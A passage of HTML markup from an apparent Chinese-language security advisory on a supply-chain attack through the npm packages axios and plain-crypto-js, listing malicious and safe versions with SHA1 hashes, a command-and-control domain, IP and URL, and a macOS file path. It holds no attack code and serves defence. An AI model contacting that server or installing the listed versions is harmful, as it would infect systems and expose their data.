left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">SHA1</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">1.14.1</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">2553649f2322049666871cea80a5d0d6adc700ca</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0.30.4</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">plain-crypto-js</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">4.2.1</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">07d889e2dadce6f3910dcbc253317d28ca61c766</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">plain-crypto-js</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">4.2.0</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">（干净伪装包，用于建立发布历史）</span></p></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">7.2 安全版本参考</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">包名</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">安全版本</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">SHA1</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">1.14.0</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">axios</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0.30.3</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">ab1be887a2d37dd9ebc219657704180faf2c4920</span></code></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">7.3 网络指标</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">类型</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">值</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 域名</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">sfrclak.com</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 IP</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">142.11.206.73</span></code></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 URL</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf=""><a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a></span></code></td></tr></tbody></table></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">7.4 文件系统指标</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">平台</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">路径</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">类型</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">说明</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">macOS</span></strong></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">/Library/Caches/com.apple.act.mond</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 